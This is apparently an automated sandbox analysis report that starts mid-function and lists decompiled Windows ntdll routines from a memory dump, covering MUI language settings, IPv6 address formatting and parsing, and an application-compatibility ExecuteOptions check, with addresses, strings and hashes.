					_v40 = _t322;
					E0095718A(_t257);
					_t338 = _t335 + 4;
					if(_t322 == _t318) {
						_v20 = _t318;
					} else {
						_v20 = E0093E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
					}
					if(_v20 == _t318) {
						_v40 = _t318;
						goto L58;
					} else {
						E00932340(_v20, _v8, _v24);
						_v16 = _v20;
						_a4 = _t318;
						_t261 = E0094E679(_v20, _t332);
						_t335 = _t338 + 0x14;
						while(1) {
							_v12 = _t261;
							if(_t261 == _t318) {
								break;
							}
							_v12 = _v12 + 2;
							 *_v12 = 0;
							E0093E2A8(_v12,  &_v68, _v16);
							if(E00955553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
							_v16 = _v12;
							_t261 = E0094E679(_v12, _t332);
							_pop(_t322);
						}
						_t269 = _v16;
						if( *_v16 != _t318) {
							E0093E2A8(_t322,  &_v68, _t269);
							if(E00955553(_t328,  &_v68,  &_v36) != 0) {
								_a4 = _a4 + 1;
							}
						}
						if(_a4 == _t318) {
							E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v20);
							_v40 = _t318;
							_v20 = _t318;
						}
						if(_v8 != _t318) {
							E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
						}
						_v8 = _t318;
						goto L30;
					}
				}
				_t284 = _v24;
				_t322 = _t284 + 4;
				_push(_t284);
				_v48 = _t322;
				E0095718A(_t284);
				_t339 = _t335 + 4;
				if(_t322 == _t318) {
					_v28 = _t318;
				} else {
					_v28 = E0093E0C6( *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), 8, _t322);
				}
				if(_v28 == _t318) {
					_v48 = _t318;
					goto L58;
				} else {
					E00932340(_v28, _v8, _v24);
					_v16 = _v28;
					_a4 = _t318;
					_t288 = E0094E679(_v28, _t332);
					_t335 = _t339 + 0x14;
					while(1) {
						_v12 = _t288;
						if(_t288 == _t318) {
							break;
						}
						_v12 = _v12 + 2;
						 *_v12 = 0;
						E0093E2A8(_v12,  &_v68, _v16);
						if(E00955553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
						_v16 = _v12;
						_t288 = E0094E679(_v12, _t332);
						_pop(_t322);
					}
					_t296 = _v16;
					if( *_v16 != _t318) {
						E0093E2A8(_t322,  &_v68, _t296);
						if(E00955553(_t328,  &_v68,  &_v36) != 0) {
							_a4 = _a4 + 1;
						}
					}
					if(_a4 == _t318) {
						E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v28);
						_v48 = _t318;
						_v28 = _t318;
					}
					if(_v8 != _t318) {
						E0093E025(_t322,  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x18)), _t318, _v8);
					}
					_v8 = _t318;
					goto L17;
				}
			}

0x00958788
0x00958788
0x00958791
0x00958794
0x00958798
0x0095879b
0x0095879e
0x009587a1
0x009587a4
0x009587a7
0x009587aa
0x009587af
0x009a1ad3
0x00958b0a
0x00958b0d
0x00958b13
0x00958b19
0x00958b1f
0x00958b25
0x00958b2b
0x00958b31
0x00958b37
0x00958b3d
0x00958b46
0x00958b46
0x009587c6
0x009587d0
0x009a1ae0
0x009a1ae6
0x009a1af8
0x009a1af8
0x009a1afd
0x009a1afe
0x009a1b01
0x009a1b06
0x009a1b06
0x009587d6
0x009587f2
0x009587f7
0x00958807
0x0095880a
0x0095880f
0x00958810
0x00958813
0x00958818
0x00958818
0x0095882c
0x00958831
0x00958838
0x00958908
0x00958920
0x009589f0
0x00958a08
0x00958af6
0x00958af6
0x00958af8
0x00958afb
0x009a1beb
0x009a1beb
0x00958b04
0x009a1bf8
0x009a1c0e
0x009a1c13
0x009a1c16
0x009a1c16
0x009a1bf8
0x00000000
0x00958b04
0x00958a0e
0x00958a11
0x00958a14
0x00958a15
0x00958a18
0x00958a22
0x00958b59
0x00958a28
0x00958a3c
0x00958a3c
0x00958a42
0x009a1bb0
0x009a1b11
0x009a1b11
0x00000000
0x00958a48
0x00958a51
0x00958a5b
0x00958a5e
0x00958a61
0x00958a69
0x00958a69
0x00958a6d
0x00000000
0x00000000
0x00958a74
0x00958a7c
0x00958a7d
0x00958a91
0x00958a93
0x00958a93
0x00958a98
0x00958a9b
0x00958aa1
0x00958aa1
0x00958aa4
0x00958aaa
0x00958ab1
0x00958ac5
0x00958ac7
0x00958ac7
0x00958ac5
0x00958ace
0x009a1bc9
0x009a1bce
0x009a1bd2
0x009a1bd2
0x00958ad8
0x00958aeb
0x00958aeb
0x00958af0
0x00958af4
0x00000000
0x00958af4
0x00958a42
0x00958926
0x00958929
0x0095892c
0x0095892d
0x00958930
0x00958935
0x0095893a
0x00958b51
0x00958940
0x00958954
0x00958954
0x0095895a
0x009a1b63
0x00000000
0x00958960
0x00958969
0x00958973
0x00958976
0x00958979
0x0095897e
0x00958981
0x00958981
0x00958986
0x00000000
0x00000000
0x009a1b6e
0x009a1b74
0x009a1b7b
0x009a1b8f
0x009a1b91
0x009a1b91
0x009a1b99
0x009a1b9c
0x009a1ba2
0x009a1ba2
0x0095898c
0x00958992
0x00958999
0x009589ad
0x009a1ba8
0x009a1ba8
0x009589ad
0x009589b6
0x009589c8
0x009589cd
0x009589d0
0x009589d0
0x009589d6
0x009589e8
0x009589e8
0x009589ed
0x00000000
0x009589ed
0x0095895a
0x0095883e
0x00958841
0x00958844
0x00958845
0x00958848
0x0095884d
0x00958852
0x00958b49
0x00958858
0x0095886c
0x0095886c
0x00958872
0x009a1b0e
0x00000000
0x00958878
0x00958881
0x0095888b
0x0095888e
0x00958891
0x00958896
0x00958899
0x00958899
0x0095889e
0x00000000
0x00000000
0x009a1b21
0x009a1b27
0x009a1b2e
0x009a1b42
0x009a1b44
0x009a1b44
0x009a1b4c
0x009a1b4f
0x009a1b55
0x009a1b55
0x009588a4
0x009588aa
0x009588b1
0x009588c5
0x009a1b5b
0x009a1b5b
0x009588c5
0x009588ce
0x009588e0
0x009588e5
0x009588e8
0x009588e8
0x009588ee
0x00958900
0x00958900
0x00958905
0x00000000
0x00958905

APIs

_wcspbrk.LIBCMT ref: 00958891
_wcspbrk.LIBCMT ref: 00958979
_wcspbrk.LIBCMT ref: 00958A61
_wcspbrk.LIBCMT ref: 00958A9B
_wcspbrk.LIBCMT ref: 009A1B9C

Strings

WindowsExcludedProcs, xrefs: 009587C1
Kernel-MUI-Number-Allowed, xrefs: 009587E6
Kernel-MUI-Language-SKU, xrefs: 009589FC
Kernel-MUI-Language-Allowed, xrefs: 00958827
Kernel-MUI-Language-Disallowed, xrefs: 00958914

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: 87413ef547ccdb6fbe09eab441b72819b47c2e961a663d6896d9b602141beab3
Instruction ID: e8b3701021a61ebd1dc8a789da011c265c38ed4dee8ad9cd976a7f4e0239a653
Opcode Fuzzy Hash: 87413ef547ccdb6fbe09eab441b72819b47c2e961a663d6896d9b602141beab3
Instruction Fuzzy Hash: B3F1D5B2D00209EFCF11DF96C981AEEB7B8FF48301F15446AE905A7251EB349A45DFA1

Uniqueness

Uniqueness Score: -1.00%

Function 009713CB, Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 195
COMMON

Download Yara Rule

C-Code - Quality: 38%

			E009713CB(intOrPtr* _a4, intOrPtr _a8) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v24;
				intOrPtr _t71;
				signed int _t78;
				signed int _t86;
				char _t90;
				signed int _t91;
				signed int _t96;
				intOrPtr _t108;
				signed int _t114;
				void* _t115;
				intOrPtr _t128;
				intOrPtr* _t129;
				void* _t130;

				_t129 = _a4;
				_t128 = _a8;
				_t116 = 0;
				_t71 = _t128 + 0x5c;
				_v8 = 8;
				_v20 = _t71;
				if( *_t129 == 0) {
					if( *((intOrPtr*)(_t129 + 2)) != 0 ||  *((intOrPtr*)(_t129 + 4)) != 0 ||  *((intOrPtr*)(_t129 + 6)) != 0 ||  *(_t129 + 0xc) == 0) {
						goto L5;
					} else {
						_t96 =  *(_t129 + 8) & 0x0000ffff;
						if(_t96 != 0) {
							L38:
							if(_t96 != 0xffff ||  *(_t129 + 0xa) != _t116) {
								goto L5;
							} else {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t86 = E00967707(_t128, _t71 - _t128 >> 1, L"::ffff:0:%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff);
								L36:
								return _t128 + _t86 * 2;
							}
						}
						_t114 =  *(_t129 + 0xa) & 0x0000ffff;
						if(_t114 == 0) {
							L33:
							_t115 = 0x932926;
							L35:
							_push( *(_t129 + 0xf) & 0x000000ff);
							_push( *(_t129 + 0xe) & 0x000000ff);
							_push( *(_t129 + 0xd) & 0x000000ff);
							_push( *(_t129 + 0xc) & 0x000000ff);
							_t86 = E00967707(_t128, _t71 - _t128 >> 1, L"::%hs%u.%u.%u.%u", _t115);
							goto L36;
						}
						if(_t114 != 0xffff) {
							_t116 = 0;
							goto L38;
						}
						if(_t114 != 0) {
							_t115 = 0x939cac;
							goto L35;
						}
						goto L33;
					}
				} else {
					L5:
					_a8 = _t116;
					_a4 = _t116;
					_v12 = _t116;
					if(( *(_t129 + 8) & 0x0000fffd) == 0) {
						if( *(_t129 + 0xa) == 0xfe5e) {
							_v8 = 6;
						}
					}
					_t90 = _v8;
					if(_t90 <= _t116) {
						L11:
						if(_a8 - _a4 <= 1) {
							_a8 = _t116;
							_a4 = _t116;
						}
						_t91 = 0;
						if(_v8 <= _t116) {
							L22:
							if(_v8 < 8) {
								_push( *(_t129 + 0xf) & 0x000000ff);
								_push( *(_t129 + 0xe) & 0x000000ff);
								_push( *(_t129 + 0xd) & 0x000000ff);
								_t128 = _t128 + E00967707(_t128, _t71 - _t128 >> 1, L":%u.%u.%u.%u",  *(_t129 + 0xc) & 0x000000ff) * 2;
							}
							return _t128;
						} else {
							L14:
							L14:
							if(_a4 > _t91 || _t91 >= _a8) {
								if(_t91 != _t116 && _t91 != _a8) {
									_push(":");
									_push(_t71 - _t128 >> 1);
									_push(_t128);
									_t128 = _t128 + E00967707() * 2;
									_t71 = _v20;
									_t130 = _t130 + 0xc;
								}
								_t78 = E00967707(_t128, _t71 - _t128 >> 1, L"%x",  *(_t129 + _t91 * 2) & 0x0000ffff);
								_t130 = _t130 + 0x10;
							} else {
								_push(L"::");
								_push(_t71 - _t128 >> 1);
								_push(_t128);
								_t78 = E00967707();
								_t130 = _t130 + 0xc;
								_t91 = _a8 - 1;
							}
							_t91 = _t91 + 1;
							_t128 = _t128 + _t78 * 2;
							_t71 = _v20;
							if(_t91 >= _v8) {
								goto L22;
							}
							_t116 = 0;
							goto L14;
						}
					} else {
						_t108 = 1;
						_v16 = _t129;
						_v24 = _t90;
						do {
							if( *_v16 == _t116) {
								if(_t108 - _v12 > _a8 - _a4) {
									_a4 = _v12;
									_a8 = _t108;
								}
								_t116 = 0;
							} else {
								_v12 = _t108;
							}
							_v16 = _v16 + 2;
							_t108 = _t108 + 1;
							_t26 =  &_v24;
							 *_t26 = _v24 - 1;
						} while ( *_t26 != 0);
						goto L11;
					}
				}
			}

0x009713d5
0x009713d9
0x009713dc
0x009713de
0x009713e1
0x009713e8
0x009713ee
0x0099e8fd
0x00000000
0x0099e921
0x0099e921
0x0099e928
0x0099e982
0x0099e98a
0x00000000
0x0099e99a
0x0099e99e
0x0099e9a3
0x0099e9a8
0x0099e9b9
0x0099e978
0x00000000
0x0099e978
0x0099e98a
0x0099e92a
0x0099e931
0x0099e944
0x0099e944
0x0099e950
0x0099e954
0x0099e959
0x0099e95e
0x0099e963
0x0099e970
0x00000000
0x0099e975
0x0099e93b
0x0099e980
0x00000000
0x0099e980
0x0099e942
0x0099e94b
0x00000000
0x0099e94b
0x00000000
0x0099e942
0x009713f4
0x009713f4
0x009713f9
0x009713fc
0x009713ff
0x00971406
0x0099e9cc
0x0099e9d2
0x0099e9d2
0x0099e9cc
0x0097140c
0x00971411
0x00971431
0x0097143a
0x0097143c
0x0097143f
0x0097143f
0x00971442
0x00971447
0x009714a8
0x009714ac
0x0099e9e2
0x0099e9e7
0x0099e9ec
0x0099ea05
0x0099ea05
0x00000000
0x00971449
0x00000000
0x00971449
0x0097144c
0x00971459
0x00971462
0x00971469
0x0097146a
0x00971470
0x00971473
0x00971476
0x00971476
0x00971490
0x00971495
0x0097138e
0x00971390
0x00971397
0x00971398
0x00971399
0x009713a1
0x009713a4
0x009713a4
0x00971498
0x0097149c
0x0097149f
0x009714a2
0x00000000
0x00000000
0x009714a4
0x00000000
0x009714a4
0x00971413
0x00971415
0x00971416
0x00971419
0x0097141c
0x00971422
0x009713b7
0x009713bc
0x009713bf
0x009713bf
0x009713c2
0x00971424
0x00971424
0x00971424
0x00971427
0x0097142b
0x0097142c
0x0097142c
0x0097142c
0x00000000
0x0097141c
0x00971411

APIs

___swprintf_l.LIBCMT ref: 0097146B
___swprintf_l.LIBCMT ref: 00971490
___swprintf_l.LIBCMT ref: 0099E970

Strings

::%hs%u.%u.%u.%u, xrefs: 0099E967
:%u.%u.%u.%u, xrefs: 0099E9F4
ffff:, xrefs: 0099E94B
::ffff:0:%u.%u.%u.%u, xrefs: 0099E9B0

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 36097f28cae554cc9adf0a6b52e134e30c1e03b005bd9d968e174c6737a02786
Instruction ID: a67010f61c8042bb1425e8c07321d903fbad19a37b0c7b82d578ab304e89c1d9
Opcode Fuzzy Hash: 36097f28cae554cc9adf0a6b52e134e30c1e03b005bd9d968e174c6737a02786
Instruction Fuzzy Hash: EC6114B2904655ABCF34CF9DC8819BEBBB9EFD4304B14C52DF4DA47681D674AA40CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00967EFD, Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 127
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00967EFD(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				char _v540;
				unsigned int _v544;
				signed int _v548;
				intOrPtr _v552;
				char _v556;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t33;
				void* _t38;
				unsigned int _t46;
				unsigned int _t47;
				unsigned int _t52;
				intOrPtr _t56;
				unsigned int _t62;
				void* _t69;
				void* _t70;
				intOrPtr _t72;
				signed int _t73;
				void* _t74;
				void* _t75;
				void* _t76;
				void* _t77;

				_t33 =  *0xa12088; // 0x777196bd
				_v8 = _t33 ^ _t73;
				_v548 = _v548 & 0x00000000;
				_t72 = _a4;
				if(E00967F4F(__ecx, _t72 + 0x2c,  &_v548) >= 0) {
					__eflags = _v548;
					if(_v548 == 0) {
						goto L1;
					}
					_t62 = _t72 + 0x24;
					E00983F92(0x55, 3, "CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions\n", _v548);
					_t71 = 0x214;
					_v544 = 0x214;
					E0093DFC0( &_v540, 0, 0x214);
					_t75 = _t74 + 0x20;
					_t46 =  *0xa14218( *((intOrPtr*)(_t72 + 0x28)),  *((intOrPtr*)(_t72 + 0x18)),  *((intOrPtr*)(_t72 + 0x20)), L"ExecuteOptions",  &_v556,  &_v540,  &_v544, _t62);
					__eflags = _t46;
					if(_t46 == 0) {
						goto L1;
					}
					_t47 = _v544;
					__eflags = _t47;
					if(_t47 == 0) {
						goto L1;
					}
					__eflags = _t47 - 0x214;
					if(_t47 >= 0x214) {
						goto L1;
					}
					_push(_t62);
					 *((short*)(_t73 + (_t47 >> 1) * 2 - 0x21a)) = 0;
					E00983F92(0x55, 3, "CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database\n",  &_v540);
					_t52 = E00940D27( &_v540, L"Execute=1");
					_t76 = _t75 + 0x1c;
					_push(_t62);
					__eflags = _t52;
					if(_t52 == 0) {
						E00983F92(0x55, 3, "CLIENT(ntdll): Processing %ws for patching section protection for %wZ\n",  &_v540);
						_t71 =  &_v540;
						_t56 = _t73 + _v544 - 0x218;
						_t77 = _t76 + 0x14;
						_v552 = _t56;
						__eflags = _t71 - _t56;
						if(_t71 >= _t56) {
							goto L1;
						} else {
							goto L10;
						}
						while(1) {
							L10:
							_t62 = E00948375(_t71, 0x20);
							_pop(_t69);
							__eflags = _t62;
							if(__eflags != 0) {
								__eflags = 0;
								 *_t62 = 0;
							}
							E00983F92(0x55, 3, "CLIENT(ntdll): Processing section info %ws...\n", _t71);
							_t77 = _t77 + 0x10;
							E009AE8DB(_t69, _t70, __eflags, _t72, _t71);
							__eflags = _t62;
							if(_t62 == 0) {
								goto L1;
							}
							_t31 = _t62 + 2; // 0x2
							_t71 = _t31;
							__eflags = _t71 - _v552;
							if(_t71 >= _v552) {
								goto L1;
							}
						}
					}
					_push("CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ\n");
					_push(3);
					_push(0x55);
					E00983F92();
					_t38 = 1;
					L2:
					return E0093E1B4(_t38, _t62, _v8 ^ _t73, _t70, _t71, _t72);
				}
				L1:
				_t38 = 0;
				goto L2;
			}

0x00967f08
0x00967f0f
0x00967f12
0x00967f1b
0x00967f31
0x00983ead
0x00983eb4
0x00000000
0x00000000
0x00983eba
0x00983ecd
0x00983ed2
0x00983ee1
0x00983ee7
0x00983eec
0x00983f12
0x00983f18
0x00983f1a
0x00000000
0x00000000
0x00983f20
0x00983f26
0x00983f28
0x00000000
0x00000000
0x00983f2e
0x00983f30
0x00000000
0x00000000
0x00983f3a
0x00983f3b
0x00983f53
0x00983f64
0x00983f69
0x00983f6c
0x00983f6d
0x00983f6f
0x0098e304
0x0098e30f
0x0098e315
0x0098e31e
0x0098e321
0x0098e327
0x0098e329
0x00000000
0x00000000
0x00000000
0x00000000
0x0098e32f
0x0098e32f
0x0098e337
0x0098e33a
0x0098e33b
0x0098e33d
0x0098e33f
0x0098e341
0x0098e341
0x0098e34e
0x0098e353
0x0098e358
0x0098e35d
0x0098e35f
0x00000000
0x00000000
0x0098e365
0x0098e365
0x0098e368
0x0098e36e
0x00000000
0x00000000
0x0098e374
0x0098e32f
0x00983f75
0x00983f7a
0x00983f7c
0x00983f7e
0x00983f86
0x00967f39
0x00967f47
0x00967f47
0x00967f37
0x00967f37
0x00000000

APIs

BaseQueryModuleData.KERNEL32(?,00000000,00000000,ExecuteOptions,?,?,?), ref: 00983F12

Strings

ExecuteOptions, xrefs: 00983F04
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 00983EC4
Execute=1, xrefs: 00983F5E
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 0098E2FB
CLIENT(ntdll): Processing section info %ws..., xrefs: 0098E345
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 00983F4A
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 00983F75

Memory Dump Source

Source File: 00000005.00000002.2203300149.0000000000920000.00000040.00000001.sdmp, Offset: 00910000, based on PE: true

Associated: 00000005.00000002.2203293064.0000000000910000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203388839.0000000000A00000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203394640.0000000000A10000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203402326.0000000000A14000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203407387.0000000000A17000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203412076.0000000000A20000.00000040.00000001.sdmp Download File
Associated: 00000005.00000002.2203445272.0000000000A80000.00000040.00000001.sdmp Download File

Similarity

API ID: BaseDataModuleQuery
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 3901378454-484625025
Opcode ID: 7b00c1aa57af5012105548b5b38190ef2b803ae2532d4523512bda51ed73c172
Instruction ID: c7e9be4cd44eeb395e7d26bec662cb4e614e4e2da2ddd9c7aa8d0258f2a37e0e
Opcode Fuzzy Hash: 7b00c1aa57af5012105548b5b38190ef2b803ae2532d4523512bda51ed73c172
Instruction Fuzzy Hash: 7541AC71A4021DBBDF20EF94DCC6FDAB3BCAB54714F004599F605E6181EA709B458FA1

Uniqueness

Uniqueness Score: -1.00%

Function 00970B15, Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 272
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00970B15(intOrPtr* _a4, char _a7, intOrPtr* _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				void* _t108;
				void* _t116;
				char _t120;
				short _t121;
				void* _t128;
				intOrPtr* _t130;
				char _t132;
				short _t133;
				intOrPtr _t141;
				signed int _t156;
				signed int _t174;
				intOrPtr _t177;
				intOrPtr* _t179;
				intOrPtr _t180;
				void* _t183;

				_t179 = _a4;
				_t141 =  *_t179;
				_v16 = 0;
				_v28 = 0;
				_v8 = 0;
				_v24 = 0;
				_v12 = 0;
				_v32 = 0;
				_v20 = 0;
				if(_t141 == 0) {
					L41:
					 *_a8 = _t179;
					_t180 = _v24;
					if(_t180 != 0) {
						if(_t180 != 3) {
							goto L6;
						}
						_v8 = _v8 + 1;
					}
					_t174 = _v32;
					if(_t174 == 0) {
						if(_v8 == 7) {
							goto L43;
						}
						goto L6;
					}
					L43:
					if(_v16 != 1) {
						if(_v16 != 2) {
							goto L6;
						}
						 *((short*)(_a12 + _v20 * 2)) = 0;
						L47:
						if(_t174 != 0) {
							E00948980(_a12 + 0x10 + (_t174 - _v8) * 2, _a12 + _t174 * 2, _v8 - _t174 + _v8 - _t174);
							_t116 = 8;
							E0093DFC0(_a12 + _t174 * 2, 0, _t116 - _v8 + _t116 - _v8);
						}
						return 0;
					}
					if(_t180 != 0) {
						if(_v12 > 3) {
							goto L6;
						}
						_t120 = E00970CFA(_v28, 0, 0xa);
						_t183 = _t183 + 0xc;
						if(_t120 > 0xff) {
							goto L6;
						}
						 *((char*)(_t180 + _v20 * 2 + _a12)) = _t120;
						goto L47;
					}
					if(_v12 > 4) {
						goto L6;
					}
					_t121 = E00970CFA(_v28, _t180, 0x10);
					_t183 = _t183 + 0xc;
					 *((short*)(_a12 + _v20 * 2)) = _t121;
					goto L47;
				} else {
					while(1) {
						_t123 = _v16;
						if(_t123 == 0) {
							goto L7;
						}
						_t108 = _t123 - 1;
						if(_t108 != 0) {
							goto L1;
						}
						_t178 = _t141;
						if(E009706BA(_t108, _t141) == 0 || _t135 == 0) {
							if(E009706BA(_t135, _t178) == 0 || E00970A5B(_t136, _t178) == 0) {
								if(_t141 != 0x3a) {
									if(_t141 == 0x2e) {
										if(_a7 != 0 || _v24 > 2 || _v8 > 6) {
											goto L41;
										} else {
											_v24 = _v24 + 1;
											L27:
											_v16 = _v16 & 0x00000000;
											L28:
											if(_v28 == 0) {
												goto L20;
											}
											_t177 = _v24;
											if(_t177 != 0) {
												if(_v12 > 3) {
													L6:
													return 0xc000000d;
												}
												_t132 = E00970CFA(_v28, 0, 0xa);
												_t183 = _t183 + 0xc;
												if(_t132 > 0xff) {
													goto L6;
												}
												 *((char*)(_t177 + _v20 * 2 + _a12 - 1)) = _t132;
												goto L20;
											}
											if(_v12 > 4) {
												goto L6;
											}
											_t133 = E00970CFA(_v28, 0, 0x10);
											_t183 = _t183 + 0xc;
											_v20 = _v20 + 1;
											 *((short*)(_a12 + _v20 * 2)) = _t133;
											goto L20;
										}
									}
									goto L41;
								}
								if(_v24 > 0 || _v8 > 6) {
									goto L41;
								} else {
									_t130 = _t179 + 1;
									if( *_t130 == _t141) {
										if(_v32 != 0) {
											goto L41;
										}
										_v32 = _v8 + 1;
										_t156 = 2;
										_v8 = _v8 + _t156;
										L34:
										_t179 = _t130;
										_v16 = _t156;
										goto L28;
									}
									_v8 = _v8 + 1;
									goto L27;
								}
							} else {
								_v12 = _v12 + 1;
								if(_v24 > 0) {
									goto L41;
								}
								_a7 = 1;
								goto L20;
							}
						} else {
							_v12 = _v12 + 1;
							L20:
							_t179 = _t179 + 1;
							_t141 =  *_t179;
							if(_t141 == 0) {
								goto L41;
							}
							continue;
						}
						L7:
						if(_t141 == 0x3a) {
							if(_v24 > 0 || _v8 > 0) {
								goto L41;
							} else {
								_t130 = _t179 + 1;
								if( *_t130 != _t141) {
									goto L41;
								}
								_v20 = _v20 + 1;
								_t156 = 2;
								_v32 = 1;
								_v8 = _t156;
								 *((short*)(_a12 + _v20 * 2)) = 0;
								goto L34;
							}
						}
						L8:
						if(_v8 > 7) {
							goto L41;
						}
						_t142 = _t141;
						if(E009706BA(_t123, _t141) == 0 || _t124 == 0) {
							if(E009706BA(_t124, _t142) == 0 || E00970A5B(_t125, _t142) == 0 || _v24 > 0) {
								goto L41;
							} else {
								_t128 = 1;
								_a7 = 1;
								_v28 = _t179;
								_v16 = 1;
								_v12 = 1;
								L39:
								if(_v16 == _t128) {
									goto L20;
								}
								goto L28;
							}
						} else {
							_a7 = 0;
							_v28 = _t179;
							_v16 = 1;
							_v12 = 1;
							goto L20;
						}
					}
				}
				L1:
				_t123 = _t108 == 1;
				if(_t108 == 1) {
					goto L8;
				}
				_t128 = 1;
				goto L39;
			}

0x00970b21
0x00970b24
0x00970b27
0x00970b2a
0x00970b2d
0x00970b30
0x00970b33
0x00970b36
0x00970b39
0x00970b3e
0x00970c65
0x00970c68
0x00970c6a
0x00970c6f
0x0099eb42
0x00000000
0x00000000
0x0099eb48
0x0099eb48
0x00970c75
0x00970c7a
0x0099eb54
0x00000000
0x00000000
0x00000000
0x0099eb5a
0x00970c80
0x00970c84
0x0099eb98
0x00000000
0x00000000
0x0099eba6
0x00970cb8
0x00970cba
0x00970cd3
0x00970cda
0x00970ce4
0x00970ce9
0x00000000
0x00970cec
0x00970c8c
0x0099eb63
0x00000000
0x00000000
0x0099eb70
0x0099eb75
0x0099eb7d
0x00000000
0x00000000
0x0099eb8c
0x00000000
0x0099eb8c
0x00970c96
0x00000000
0x00000000
0x00970ca2
0x00970cac
0x00970cb4
0x00000000
0x00000000
0x00970b44
0x00970b47
0x00970b49
0x00000000
0x00000000
0x00970b4f
0x00970b50
0x00000000
0x00000000
0x00970b56
0x00970b62
0x00970b7c
0x00970bac
0x00970a0f
0x0099eaaa
0x00000000
0x0099eac4
0x0099eac4
0x00970bd0
0x00970bd0
0x00970bd4
0x00970bd9
0x00000000
0x00000000
0x00970bdb
0x00970be0
0x0099eb0e
0x00970a1a
0x00000000
0x00970a1a
0x0099eb1a
0x0099eb1f
0x0099eb27
0x00000000
0x00000000
0x0099eb36
0x00000000
0x0099eb36
0x00970bea
0x00000000
0x00000000
0x00970bf6
0x00970c00
0x00970c03
0x00970c0b
0x00000000
0x00970c0b
0x0099eaaa
0x00000000
0x00970a15
0x00970bb6
0x00000000
0x00970bc6
0x00970bc6
0x00970bcb
0x00970c15
0x00000000
0x00000000
0x00970c1d
0x00970c20
0x00970c21
0x00970c24
0x00970c24
0x00970c26
0x00000000
0x00970c26
0x00970bcd
0x00000000
0x00970bcd
0x00970b89
0x00970b89
0x00970b90
0x00000000
0x00000000
0x00970b96
0x00000000
0x00970b96
0x00970a04
0x00970a04
0x00970b9a
0x00970b9a
0x00970b9b
0x00970b9f
0x00000000
0x00000000
0x00000000
0x00970ba5
0x00970ac7
0x00970aca
0x0099eacf
0x00000000
0x0099eade
0x0099eade
0x0099eae3
0x00000000
0x00000000
